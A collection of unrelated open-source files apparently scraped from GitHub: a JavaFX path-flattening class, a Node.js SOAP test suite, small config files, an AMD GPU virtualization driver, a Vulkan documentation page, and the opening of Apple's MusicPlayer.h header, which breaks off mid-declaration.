/* * Copyright (c) 1997, 2013, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package com.sun.javafx.geom; import java.util.NoSuchElementException; /** * The <code>FlatteningPathIterator</code> class returns a flattened view of * another {@link PathIterator} object. Other {@link java.awt.Shape Shape} * classes can use this class to provide flattening behavior for their paths * without having to perform the interpolation calculations themselves. * * @version 1.6 06/29/98 */ public class FlatteningPathIterator implements PathIterator { static final int GROW_SIZE = 24; // Multiple of cubic & quad curve size PathIterator src; // The source iterator float squareflat; // Square of the flatness parameter // for testing against squared lengths int limit; // Maximum number of recursion levels // hold field must be volatile to work around a Mac runtime bug (see RT-12386) volatile float hold[] = new float[14]; // The cache of interpolated coords // Note that this must be long enough // to store a full cubic segment and // a relative cubic segment to avoid // aliasing when copying the coords // of a curve to the end of the array. // This is also serendipitously equal // to the size of a full quad segment // and 2 relative quad segments. float curx, cury; // The ending x,y of the last segment float movx, movy; // The x,y of the last move segment int holdType; // The type of the curve being held // for interpolation int holdEnd; // The index of the last curve segment // being held for interpolation int holdIndex; // The index of the curve segment // that was last interpolated. This // is the curve segment ready to be // returned in the next call to // currentSegment(). int levels[]; // The recursion level at which // each curve being held in storage // was generated. int levelIndex; // The index of the entry in the // levels array of the curve segment // at the holdIndex boolean done; // True when iteration is done /** * Constructs a new <code>FlatteningPathIterator</code> object that * flattens a path as it iterates over it. The iterator does not * subdivide any curve read from the source iterator to more than * 10 levels of subdivision which yields a maximum of 1024 line * segments per curve. * @param src the original unflattened path being iterated over * @param flatness the maximum allowable distance between the * control points and the flattened curve */ public FlatteningPathIterator(PathIterator src, float flatness) { this(src, flatness, 10); } /** * Constructs a new <code>FlatteningPathIterator</code> object * that flattens a path as it iterates over it. * The <code>limit</code> parameter allows you to control the * maximum number of recursive subdivisions that the iterator * can make before it assumes that the curve is flat enough * without measuring against the <code>flatness</code> parameter. * The flattened iteration therefore never generates more than * a maximum of <code>(2^limit)</code> line segments per curve. * @param src the original unflattened path being iterated over * @param flatness the maximum allowable distance between the * control points and the flattened curve * @param limit the maximum number of recursive subdivisions * allowed for any curved segment * @exception <code>IllegalArgumentException</code> if * <code>flatness</code> or <code>limit</code> * is less than zero */ public FlatteningPathIterator(PathIterator src, float flatness, int limit) { if (flatness < 0f) { throw new IllegalArgumentException("flatness must be >= 0"); } if (limit < 0) { throw new IllegalArgumentException("limit must be >= 0"); } this.src = src; this.squareflat = flatness * flatness; this.limit = limit; this.levels = new int[limit + 1]; // prime the first path segment next(false); } /** * Returns the flatness of this iterator. * @return the flatness of this <code>FlatteningPathIterator</code>. */ public float getFlatness() { return (float) Math.sqrt(squareflat); } /** * Returns the recursion limit of this iterator. * @return the recursion limit of this * <code>FlatteningPathIterator</code>. */ public int getRecursionLimit() { return limit; } /** * Returns the winding rule for determining the interior of the * path. * @return the winding rule of the original unflattened path being * iterated over. * @see PathIterator#WIND_EVEN_ODD * @see PathIterator#WIND_NON_ZERO */ public int getWindingRule() { return src.getWindingRule(); } /** * Tests if the iteration is complete. * @return <code>true</code> if all the segments have * been read; <code>false</code> otherwise. */ public boolean isDone() { return done; } /* * Ensures that the hold array can hold up to (want) more values. * It is currently holding (hold.length - holdIndex) values. */ void ensureHoldCapacity(int want) { if (holdIndex - want < 0) { int have = hold.length - holdIndex; int newsize = hold.length + GROW_SIZE; float newhold[] = new float[newsize]; System.arraycopy(hold, holdIndex, newhold, holdIndex + GROW_SIZE, have); hold = newhold; holdIndex += GROW_SIZE; holdEnd += GROW_SIZE; } } /** * Moves the iterator to the next segment of the path forwards * along the primary direction of traversal as long as there are * more points in that direction. */ public void next() { next(true); } private void next(boolean doNext) { int level; if (holdIndex >= holdEnd) { if (doNext) { src.next(); } if (src.isDone()) { done = true; return; } holdType = src.currentSegment(hold); levelIndex = 0; levels[0] = 0; } switch (holdType) { case SEG_MOVETO: case SEG_LINETO: curx = hold[0]; cury = hold[1]; if (holdType == SEG_MOVETO) { movx = curx; movy = cury; } holdIndex = 0; holdEnd = 0; break; case SEG_CLOSE: curx = movx; cury = movy; holdIndex = 0; holdEnd = 0; break; case SEG_QUADTO: if (holdIndex >= holdEnd) { // Move the coordinates to the end of the array. holdIndex = hold.length - 6; holdEnd = hold.length - 2; hold[holdIndex + 0] = curx; hold[holdIndex + 1] = cury; hold[holdIndex + 2] = hold[0]; hold[holdIndex + 3] = hold[1]; hold[holdIndex + 4] = curx = hold[2]; hold[holdIndex + 5] = cury = hold[3]; } level = levels[levelIndex]; while (level < limit) { if (QuadCurve2D.getFlatnessSq(hold, holdIndex) < squareflat) { break; } ensureHoldCapacity(4); QuadCurve2D.subdivide(hold, holdIndex, hold, holdIndex - 4, hold, holdIndex); holdIndex -= 4; // Now that we have subdivided, we have constructed // two curves of one depth lower than the original // curve. One of those curves is in the place of // the former curve and one of them is in the next // set of held coordinate slots. We now set both // curves level values to the next higher level. level++; levels[levelIndex] = level; levelIndex++; levels[levelIndex] = level; } // This curve segment is flat enough, or it is too deep // in recursion levels to try to flatten any more. The // two coordinates at holdIndex+4 and holdIndex+5 now // contain the endpoint of the curve which can be the // endpoint of an approximating line segment. holdIndex += 4; levelIndex--; break; case SEG_CUBICTO: if (holdIndex >= holdEnd) { // Move the coordinates to the end of the array. holdIndex = hold.length - 8; holdEnd = hold.length - 2; hold[holdIndex + 0] = curx; hold[holdIndex + 1] = cury; hold[holdIndex + 2] = hold[0]; hold[holdIndex + 3] = hold[1]; hold[holdIndex + 4] = hold[2]; hold[holdIndex + 5] = hold[3]; hold[holdIndex + 6] = curx = hold[4]; hold[holdIndex + 7] = cury = hold[5]; } level = levels[levelIndex]; while (level < limit) { if (CubicCurve2D.getFlatnessSq(hold, holdIndex) < squareflat) { break; } ensureHoldCapacity(6); CubicCurve2D.subdivide(hold, holdIndex, hold, holdIndex - 6, hold, holdIndex); holdIndex -= 6; // Now that we have subdivided, we have constructed // two curves of one depth lower than the original // curve. One of those curves is in the place of // the former curve and one of them is in the next // set of held coordinate slots. We now set both // curves level values to the next higher level. level++; levels[levelIndex] = level; levelIndex++; levels[levelIndex] = level; } // This curve segment is flat enough, or it is too deep // in recursion levels to try to flatten any more. The // two coordinates at holdIndex+6 and holdIndex+7 now // contain the endpoint of the curve which can be the // endpoint of an approximating line segment. holdIndex += 6; levelIndex--; break; } } /** * Returns the coordinates and type of the current path segment in * the iteration. * The return value is the path segment type: * SEG_MOVETO, SEG_LINETO, or SEG_CLOSE. * A float array of length 6 must be passed in and can be used to * store the coordinates of the point(s). * Each point is stored as a pair of float x,y coordinates. * SEG_MOVETO and SEG_LINETO types return one point, * and SEG_CLOSE does not return any points. * @param coords an array that holds the data returned from * this method * @return the path segment type of the current path segment. * @exception <code>NoSuchElementException</code> if there * are no more elements in the flattening path to be * returned. * @see PathIterator#SEG_MOVETO * @see PathIterator#SEG_LINETO * @see PathIterator#SEG_CLOSE */ public int currentSegment(float[] coords) { if (isDone()) { throw new NoSuchElementException("flattening iterator out of bounds"); } int type = holdType; if (type != SEG_CLOSE) { coords[0] = (float) hold[holdIndex + 0]; coords[1] = (float) hold[holdIndex + 1]; if (type != SEG_MOVETO) { type = SEG_LINETO; } } return type; } }
{ "pile_set_name": "Github" }
var wcf = require('../../lib/wcf.js') , utils = require('../utils.js') , assert = require("assert") , fs = require("fs") module.exports = { setUp: function (callback) { utils.setUp.call(this, callback); }, tearDown: function (callback) { utils.tearDown.call(this, callback); }, "simple basic http": function (test) { var binding = new wcf.BasicHttpBinding() , proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/simple-soap") utils.soapTest(test, proxy) }, "simple custom": function (test) { var binding = new wcf.CustomBinding([new wcf.HttpTransportBindingElement()]) , proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/simple-soap") utils.soapTest(test, proxy) }, "custom soap12wsa10": function (test) { var binding = new wcf.CustomBinding([ new wcf.TextMessageEncodingBindingElement({MessageVersion: "Soap12WSAddressing10"}), new wcf.HttpTransportBindingElement() ]) var proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/soap12wsa10") utils.soapTest(test, proxy); }, "custom clearUsername": function (test) { var binding = new wcf.CustomBinding([ new wcf.SecurityBindingElement({AuthenticationMode: "UserNameOverTransport"}), new wcf.HttpTransportBindingElement() ]); var proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/clearUsername") proxy.ClientCredentials.Username.Username = "yaron" proxy.ClientCredentials.Username.Password = "1234" utils.soapTest(test, proxy) }, "basic clearUsername": function (test) { var binding = new wcf.BasicHttpBinding({ SecurityMode:"TransportWithMessageCredential" , MessageClientCredentialType: "UserName" }) , proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/clearUsername") proxy.ClientCredentials.Username.Username = "yaron" proxy.ClientCredentials.Username.Password = "1234" utils.soapTest(test, proxy) }, "certificate signing + wsa + timestamp + validation ": function (test) { var sec = new wcf.SecurityBindingElement({ AuthenticationMode: "MutualCertificate" , ValidateResponseSignature: true}) var binding = new wcf.CustomBinding( [ sec , new wcf.TextMessageEncodingBindingElement({MessageVersion: "Soap11WSAddressing10"}) , new wcf.HttpTransportBindingElement() ]) var proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/sign_body_timestamp_wsa") proxy.ClientCredentials.ClientCertificate.Certificate = fs.readFileSync("./examples/client.pem").toString() proxy.ClientCredentials.ServiceCertificate.DefaultCertificate = fs.readFileSync("./examples/server_public.pem").toString() utils.soapTest(test, proxy); }, "certificate signing no wsa, no timestamp, no validation ": function (test) { var sec = new wcf.SecurityBindingElement({ AuthenticationMode: "MutualCertificate" , IncludeTimestamp: false}) var binding = new wcf.CustomBinding([ sec, new wcf.TextMessageEncodingBindingElement({MessageVersion: "Soap11"}), new wcf.HttpTransportBindingElement() ]) var proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/sign_body_only") proxy.ClientCredentials.ClientCertificate.Certificate = fs.readFileSync("./examples/client.pem").toString() utils.soapTest(test, proxy); }, "custom mtom": function (test) { var message = '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">' + '<s:Header />' + '<s:Body>' + '<EchoFiles xmlns="http://tempuri.org/">' + '<value xmlns:a="http://schemas.datacontract.org/2004/07/" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">' + '<a:File1 />' + '<a:File2 />' + '</value>' + '</EchoFiles>' + '</s:Body>' + '</s:Envelope>' var binding = new wcf.CustomBinding([ new wcf.MtomMessageEncodingBindingElement({MessageVersion: "Soap12WSAddressing10"}), new wcf.HttpTransportBindingElement() ]) , proxy = new wcf.Proxy(binding, "http://localhost:7171/Service/mtom") proxy.addAttachment("//*[local-name(.)='File1']", "./test/files/p.jpg") proxy.addAttachment("//*[local-name(.)='File2']", "./test/files/text.txt") proxy.send(message, "http://tempuri.org/IService/EchoFiles", function(message, ctx) { var attach = proxy.getAttachment("//*[local-name(.)='File1']") assert.deepEqual(fs.readFileSync("./test//files/p.jpg"), attach, "attachment 1 is not the jpg file"); var attach = proxy.getAttachment("//*[local-name(.)='File2']") assert.deepEqual(fs.readFileSync("./test/files/text.txt"), attach, "attachment 2 is not the txt file") test.done(); }); }, }
{ "pile_set_name": "Github" }
--- id: welcome title: Welcome author: Atul R authorTitle: Maintainer @NodeGui authorURL: https://github.com/master-atul authorImageURL: https://avatars2.githubusercontent.com/u/4029423?s=460&v=4 authorTwitter: masteratul94 tags: [nodegui, hello] --- This is the new blog site for NodeGui. This will be updated soon.
{ "pile_set_name": "Github" }
name romanian-mbrola-1 language ro 7 gender male pitch 82 117 mbrola ro1 ro1_phtrans
{ "pile_set_name": "Github" }
{ "apps" : [{ "script":"examples/child.js", "name":"API-web", "instances":3 },{ "script":"examples/echo.js", "instances":2 }], "deploy" : { "production" : { "user" : "node", "host" : "212.83.163.168", "repo" : "[email protected]:Unitech/eip-vitrine.git", "path" : "/var/www/test-deploy" } } }
{ "pile_set_name": "Github" }
<?xml version="1.0" encoding="UTF-8"?> <configuration> <appender name="CONSOLE" class="ch.qos.logback.core.ConsoleAppender"> <target>System.out</target> <encoder> <pattern>%date{MM/dd HH:mm:ss.SSS} %-5level[%.15thread] %logger{1} - %msg%n</pattern> </encoder> </appender> <root level="INFO"> <appender-ref ref="CONSOLE"/> </root> </configuration>
{ "pile_set_name": "Github" }
И вот вы по ту сторону стены. С ног до головы в расплавленном зефире. Вы слышите нарастающий гул. Надвигается рой гигантских пчел. Каждая величиной с ладонь. Как вы будете спасаться от них? [Притворитесь, что вы тоже пчела и начнете жужжать.](bee-too/bee-too.md) [Посмотрите в зеркало](mirror/i-am-the-bee.md) [Слепите из зефира меч в попытке защититься](sword/making-sword.md)
{ "pile_set_name": "Github" }
using Microsoft.EntityFrameworkCore.Migrations; namespace SpyStore.Hol.Dal.EfStructures.Migrations { public partial class Final : Migration { protected override void Up(MigrationBuilder migrationBuilder) { migrationBuilder.AddColumn<decimal>( name: "OrderTotal", schema: "Store", table: "Orders", type: "money", nullable: false, computedColumnSql: "Store.GetOrderTotal([Id])"); migrationBuilder.AddColumn<decimal>( name: "LineItemTotal", schema: "Store", table: "OrderDetails", type: "money", nullable: false, computedColumnSql: "[Quantity]*[UnitCost]"); } protected override void Down(MigrationBuilder migrationBuilder) { migrationBuilder.DropColumn( name: "OrderTotal", schema: "Store", table: "Orders"); migrationBuilder.DropColumn( name: "LineItemTotal", schema: "Store", table: "OrderDetails"); } } }
{ "pile_set_name": "Github" }
/* * Copyright 2016 Advanced Micro Devices, Inc. * * Permission is hereby granted, free of charge, to any person obtaining a * copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the * Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL * THE COPYRIGHT HOLDER(S) OR AUTHOR(S) BE LIABLE FOR ANY CLAIM, DAMAGES OR * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR * OTHER DEALINGS IN THE SOFTWARE. * */ #include "amdgpu.h" #define MAX_KIQ_REG_WAIT 100000 int amdgpu_allocate_static_csa(struct amdgpu_device *adev) { int r; void *ptr; r = amdgpu_bo_create_kernel(adev, AMDGPU_CSA_SIZE, PAGE_SIZE, AMDGPU_GEM_DOMAIN_VRAM, &adev->virt.csa_obj, &adev->virt.csa_vmid0_addr, &ptr); if (r) return r; memset(ptr, 0, AMDGPU_CSA_SIZE); return 0; } /* * amdgpu_map_static_csa should be called during amdgpu_vm_init * it maps virtual address "AMDGPU_VA_RESERVED_SIZE - AMDGPU_CSA_SIZE" * to this VM, and each command submission of GFX should use this virtual * address within META_DATA init package to support SRIOV gfx preemption. */ int amdgpu_map_static_csa(struct amdgpu_device *adev, struct amdgpu_vm *vm, struct amdgpu_bo_va **bo_va) { struct ww_acquire_ctx ticket; struct list_head list; struct amdgpu_bo_list_entry pd; struct ttm_validate_buffer csa_tv; int r; INIT_LIST_HEAD(&list); INIT_LIST_HEAD(&csa_tv.head); csa_tv.bo = &adev->virt.csa_obj->tbo; csa_tv.shared = true; list_add(&csa_tv.head, &list); amdgpu_vm_get_pd_bo(vm, &list, &pd); r = ttm_eu_reserve_buffers(&ticket, &list, true, NULL); if (r) { DRM_ERROR("failed to reserve CSA,PD BOs: err=%d\n", r); return r; } *bo_va = amdgpu_vm_bo_add(adev, vm, adev->virt.csa_obj); if (!*bo_va) { ttm_eu_backoff_reservation(&ticket, &list); DRM_ERROR("failed to create bo_va for static CSA\n"); return -ENOMEM; } r = amdgpu_vm_alloc_pts(adev, (*bo_va)->base.vm, AMDGPU_CSA_VADDR, AMDGPU_CSA_SIZE); if (r) { DRM_ERROR("failed to allocate pts for static CSA, err=%d\n", r); amdgpu_vm_bo_rmv(adev, *bo_va); ttm_eu_backoff_reservation(&ticket, &list); return r; } r = amdgpu_vm_bo_map(adev, *bo_va, AMDGPU_CSA_VADDR, 0, AMDGPU_CSA_SIZE, AMDGPU_PTE_READABLE | AMDGPU_PTE_WRITEABLE | AMDGPU_PTE_EXECUTABLE); if (r) { DRM_ERROR("failed to do bo_map on static CSA, err=%d\n", r); amdgpu_vm_bo_rmv(adev, *bo_va); ttm_eu_backoff_reservation(&ticket, &list); return r; } ttm_eu_backoff_reservation(&ticket, &list); return 0; } void amdgpu_virt_init_setting(struct amdgpu_device *adev) { /* enable virtual display */ adev->mode_info.num_crtc = 1; adev->enable_virtual_display = true; adev->cg_flags = 0; adev->pg_flags = 0; mutex_init(&adev->virt.lock_reset); } uint32_t amdgpu_virt_kiq_rreg(struct amdgpu_device *adev, uint32_t reg) { signed long r; uint32_t val; struct dma_fence *f; struct amdgpu_kiq *kiq = &adev->gfx.kiq; struct amdgpu_ring *ring = &kiq->ring; BUG_ON(!ring->funcs->emit_rreg); mutex_lock(&kiq->ring_mutex); amdgpu_ring_alloc(ring, 32); amdgpu_ring_emit_rreg(ring, reg); amdgpu_fence_emit(ring, &f); amdgpu_ring_commit(ring); mutex_unlock(&kiq->ring_mutex); r = dma_fence_wait_timeout(f, false, msecs_to_jiffies(MAX_KIQ_REG_WAIT)); dma_fence_put(f); if (r < 1) { DRM_ERROR("wait for kiq fence error: %ld.\n", r); return ~0; } val = adev->wb.wb[adev->virt.reg_val_offs]; return val; } void amdgpu_virt_kiq_wreg(struct amdgpu_device *adev, uint32_t reg, uint32_t v) { signed long r; struct dma_fence *f; struct amdgpu_kiq *kiq = &adev->gfx.kiq; struct amdgpu_ring *ring = &kiq->ring; BUG_ON(!ring->funcs->emit_wreg); mutex_lock(&kiq->ring_mutex); amdgpu_ring_alloc(ring, 32); amdgpu_ring_emit_wreg(ring, reg, v); amdgpu_fence_emit(ring, &f); amdgpu_ring_commit(ring); mutex_unlock(&kiq->ring_mutex); r = dma_fence_wait_timeout(f, false, msecs_to_jiffies(MAX_KIQ_REG_WAIT)); if (r < 1) DRM_ERROR("wait for kiq fence error: %ld.\n", r); dma_fence_put(f); } /** * amdgpu_virt_request_full_gpu() - request full gpu access * @amdgpu: amdgpu device. * @init: is driver init time. * When start to init/fini driver, first need to request full gpu access. * Return: Zero if request success, otherwise will return error. */ int amdgpu_virt_request_full_gpu(struct amdgpu_device *adev, bool init) { struct amdgpu_virt *virt = &adev->virt; int r; if (virt->ops && virt->ops->req_full_gpu) { r = virt->ops->req_full_gpu(adev, init); if (r) return r; adev->virt.caps &= ~AMDGPU_SRIOV_CAPS_RUNTIME; } return 0; } /** * amdgpu_virt_release_full_gpu() - release full gpu access * @amdgpu: amdgpu device. * @init: is driver init time. * When finishing driver init/fini, need to release full gpu access. * Return: Zero if release success, otherwise will returen error. */ int amdgpu_virt_release_full_gpu(struct amdgpu_device *adev, bool init) { struct amdgpu_virt *virt = &adev->virt; int r; if (virt->ops && virt->ops->rel_full_gpu) { r = virt->ops->rel_full_gpu(adev, init); if (r) return r; adev->virt.caps |= AMDGPU_SRIOV_CAPS_RUNTIME; } return 0; } /** * amdgpu_virt_reset_gpu() - reset gpu * @amdgpu: amdgpu device. * Send reset command to GPU hypervisor to reset GPU that VM is using * Return: Zero if reset success, otherwise will return error. */ int amdgpu_virt_reset_gpu(struct amdgpu_device *adev) { struct amdgpu_virt *virt = &adev->virt; int r; if (virt->ops && virt->ops->reset_gpu) { r = virt->ops->reset_gpu(adev); if (r) return r; adev->virt.caps &= ~AMDGPU_SRIOV_CAPS_RUNTIME; } return 0; } /** * amdgpu_virt_alloc_mm_table() - alloc memory for mm table * @amdgpu: amdgpu device. * MM table is used by UVD and VCE for its initialization * Return: Zero if allocate success. */ int amdgpu_virt_alloc_mm_table(struct amdgpu_device *adev) { int r; if (!amdgpu_sriov_vf(adev) || adev->virt.mm_table.gpu_addr) return 0; r = amdgpu_bo_create_kernel(adev, PAGE_SIZE, PAGE_SIZE, AMDGPU_GEM_DOMAIN_VRAM, &adev->virt.mm_table.bo, &adev->virt.mm_table.gpu_addr, (void *)&adev->virt.mm_table.cpu_addr); if (r) { DRM_ERROR("failed to alloc mm table and error = %d.\n", r); return r; } memset((void *)adev->virt.mm_table.cpu_addr, 0, PAGE_SIZE); DRM_INFO("MM table gpu addr = 0x%llx, cpu addr = %p.\n", adev->virt.mm_table.gpu_addr, adev->virt.mm_table.cpu_addr); return 0; } /** * amdgpu_virt_free_mm_table() - free mm table memory * @amdgpu: amdgpu device. * Free MM table memory */ void amdgpu_virt_free_mm_table(struct amdgpu_device *adev) { if (!amdgpu_sriov_vf(adev) || !adev->virt.mm_table.gpu_addr) return; amdgpu_bo_free_kernel(&adev->virt.mm_table.bo, &adev->virt.mm_table.gpu_addr, (void *)&adev->virt.mm_table.cpu_addr); adev->virt.mm_table.gpu_addr = 0; }
{ "pile_set_name": "Github" }
<meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="apple-touch-icon-precomposed" sizes="144x144" href="../../assets/img/favicon-144.png"> <link rel="apple-touch-icon-precomposed" sizes="114x114" href="../../assets/img/favicon-144.png"> <link rel="apple-touch-icon-precomposed" sizes="72x72" href="../../assets/img/favicon-72.png"> <link rel="apple-touch-icon-precomposed" href="../../assets/img/favicon-32.png"> <link rel="shortcut icon" href="../../assets/img/favicon-32.png"> <link rel="stylesheet" href="../../assets/css/vk.css"/> <link rel="stylesheet" href="../../assets/css/prism.css"/> <vk-title>vkCmdDrawIndexedIndirect | NVK</vk-title> <vk-centered> <vk-navigation> <vk-search-title>Search</vk-search-title> <vk-search> <input type="text" id="search" autocomplete="off" /> <vk-search-results> <ol id="search-list"> <li id="no-search-results">No Results</li> </ol> </vk-search-results> </vk-search> <vk-section-title style="margin-top: 1em;">Categories</vk-section-title> <vk-categories></vk-categories> </vk-navigation> <vk-struct> <vk-name>vkCmdDrawIndexedIndirect</vk-name> <vk-description>Perform an indexed indirect draw</vk-description> <vk-section-title>Syntax</vk-section-title> <vk-syntax> <pre><code class="language-js">void vkCmdDrawIndexedIndirect(); </code></pre> </vk-syntax> <vk-section-title>Parameters</vk-section-title> <vk-properties> <vk-property-entry> <vk-property-parameter>commandBuffer</vk-property-parameter> <vk-property-type type="object"><a href="../handles/VkCommandBuffer.html">VkCommandBuffer</a></vk-property-type> <vk-property-description> is the command buffer into which the command is recorded.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-parameter>buffer</vk-property-parameter> <vk-property-type type="object"><a href="../handles/VkBuffer.html">VkBuffer</a></vk-property-type> <vk-property-description> where parameters begin.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-parameter>offset</vk-property-parameter> <vk-property-type type="number"><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt">BigInt</a></vk-property-type> <vk-property-type type="number">Number</vk-property-type> <vk-property-description></vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-parameter>drawCount</vk-property-parameter> <vk-property-type type="number">Number</vk-property-type> <vk-property-description> is the number of draws to execute, and <i>can</i> be zero.</vk-property-description> </vk-property-entry> <vk-property-entry> <vk-property-parameter>stride</vk-property-parameter> <vk-property-type type="number">Number</vk-property-type> <vk-property-description> is the byte stride between successive sets of draw parameters.</vk-property-description> </vk-property-entry> </vk-properties> </vk-struct> </vk-centered> <script> const IS_ROOT = false; </script> <script type="text/javascript" src="../../assets/js/prism.min.js"></script> <script type="text/javascript" src="../../assets/js/index.js"></script>
{ "pile_set_name": "Github" }
/*! @file MusicPlayer.h @framework AudioToolbox.framework @copyright (c) 2000-2015 by Apple, Inc., all rights reserved. @abstract API's for Music sequencing and playing services @discussion The objects in this API set include: - Music Sequence: a container of music tracks - Music Track: a time ordered list of events - Music Track Iterator: an object to iterate over events in a track - Music Player: an object used to play a sequence A MusicSequence contains an arbitrary number of tracks (MusicTrack) each of which contains time-stamped (in units of beats) events in time-increasing order. There are various types of events, defined below, including the expected MIDI events, tempo, and extended events. A MusicTrack has properties which may be inspected and assigned, including support for looping, muting/soloing, and time-stamp interpretation. APIs exist for iterating through the events in a MusicTrack, and for performing editing operations on them. A MusicPlayer is used to play a sequence and provides control of playback rate and setting to a particular time. Each MusicSequence may have an associated AUGraph object, which represents a set of AudioUnits and the connections between them. Then, each MusicTrack of the MusicSequence may address its events to a specific AudioUnit within the AUGraph. In such a manner, it's possible to automate arbitrary parameters of AudioUnits, and schedule notes to be played to MusicDevices (AudioUnit software synthesizers) within an arbitrary audio processing network (AUGraph). A MusicSequence or its tracks can also address a CoreMIDI endpoint directly. */ #ifndef AudioToolbox_MusicPlayer_h #define AudioToolbox_MusicPlayer_h #include <Availability.h> #include <CoreFoundation/CoreFoundation.h> #include <AudioUnit/MusicDevice.h> #include <AudioToolbox/AUGraph.h> #if __has_include(<CoreMIDI/MIDIServices.h>) #include <CoreMIDI/MIDIServices.h> #endif CF_ASSUME_NONNULL_BEGIN #if defined(__cplusplus) extern "C" { #endif /*! @enum MusicEventType @abstract music event types, including both MIDI and "extended" protocol @constant kMusicEventType_NULL @constant kMusicEventType_ExtendedNote note with variable number of arguments (non-MIDI) @constant kMusicEventType_ExtendedTempo tempo change in BPM @constant kMusicEventType_User user defined data @constant kMusicEventType_Meta standard MIDI file meta event @constant kMusicEventType_MIDINoteMessage MIDI note-on with duration (for note-off) @constant kMusicEventType_MIDIChannelMessage MIDI channel messages (other than note-on/off) @constant kMusicEventType_MIDIRawData for MIDI system exclusive data @constant kMusicEventType_Parameter general purpose AudioUnit parameter, added in 10.2 @constant kMusicEventType_AUPreset the AU's user preset CFDictionaryRef (the ClassInfo property), added 10.3 */ CF_ENUM(UInt32) { kMusicEventType_NULL = 0, kMusicEventType_ExtendedNote = 1, kMusicEventType_ExtendedTempo = 3, kMusicEventType_User = 4, kMusicEventType_Meta = 5, kMusicEventType_MIDINoteMessage = 6, kMusicEventType_MIDIChannelMessage = 7, kMusicEventType_MIDIRawData = 8, kMusicEventType_Parameter = 9, kMusicEventType_AUPreset = 10 }; typedef UInt32 MusicEventType; /*! @enum MusicSequenceLoadFlags @abstract Flags used to customise loading behaviour @constant kMusicSequenceLoadSMF_PreserveTracks If this flag is set the resultant Sequence will contain: a tempo track a track for each track found in the SMF This is the default behavior @constant kMusicSequenceLoadSMF_ChannelsToTracks If this flag is set the resultant Sequence will contain: a tempo track 1 track for each MIDI Channel that is found in the SMF 1 track for SysEx or MetaEvents - this will be the last track in the sequence after the LoadSMFWithFlags calls */ typedef CF_OPTIONS(UInt32, MusicSequenceLoadFlags) { kMusicSequenceLoadSMF_PreserveTracks = 0, kMusicSequenceLoadSMF_ChannelsToTracks = (1 << 0) }; /*! @enum MusicSequenceType @abstract A sequence type @discussion Different sequence types to describe the basic mode of operation of a sequence's time line You cannot change a music sequence's type to samples/seconds if there are tempo events The type will also define how the sequence is saved to a MIDI file: Beats - normal midi file Seconds - midi file with SMPTE time Samples - cannot be saved to a midi file @constant kMusicSequenceType_Beats The default/normal type of a sequence. Tempo track defines the number of beats per second and can have multiple tempo events @constant kMusicSequenceType_Seconds A music sequence with a single 60bpm tempo event @constant kMusicSequenceType_Samples A music sequence with a single tempo event that represents the audio sample rate */ typedef CF_ENUM(UInt32, MusicSequenceType) { kMusicSequenceType_Beats = 'beat', kMusicSequenceType_Seconds = 'secs', kMusicSequenceType_Samples = 'samp' }; /*! @enum MusicSequenceFileTypeID @abstract describes different types of files that can be parsed by a music sequence @constant kMusicSequenceFile_AnyType let the system read iMelody files and read and write MIDI files (and any future types) @constant kMusicSequenceFile_MIDIType read and write MIDI files @constant kMusicSequenceFile_iMelodyType read iMelody files */ typedef CF_ENUM(UInt32, MusicSequenceFileTypeID) { kMusicSequenceFile_AnyType = 0, kMusicSequenceFile_MIDIType = 'midi', kMusicSequenceFile_iMelodyType = 'imel' }; /*! @enum MusicSequenceFileFlags @abstract controls the behaviour of the create file calls @constant kMusicSequenceFileFlags_Default Does not overwrite existing files. Attempts to save over an existing file will return kAudio_FilePermissionError @constant kMusicSequenceFileFlags_EraseFile Erase an existing file when creating a new file */ typedef CF_OPTIONS(UInt32, MusicSequenceFileFlags) { kMusicSequenceFileFlags_Default = 0, kMusicSequenceFileFlags_EraseFile = 1 }; /*! @typedef MusicTimeStamp @abstract The type used to refer to time values in a music sequence */ typedef Float64 MusicTimeStamp; /*! @struct kMusicTimeStamp_EndOfTrack @abstract used to signal end of track @discussion Pass this value in to indicate a time passed the last event in the track. In this way, it's possible to perform edits on tracks which include all events starting at some particular time up to and including the last event */ #define kMusicTimeStamp_EndOfTrack DBL_MAX /*! @struct MIDINoteMessage @discussion The parameters to specify a MIDI note */ typedef struct MIDINoteMessage { UInt8 channel; UInt8 note; 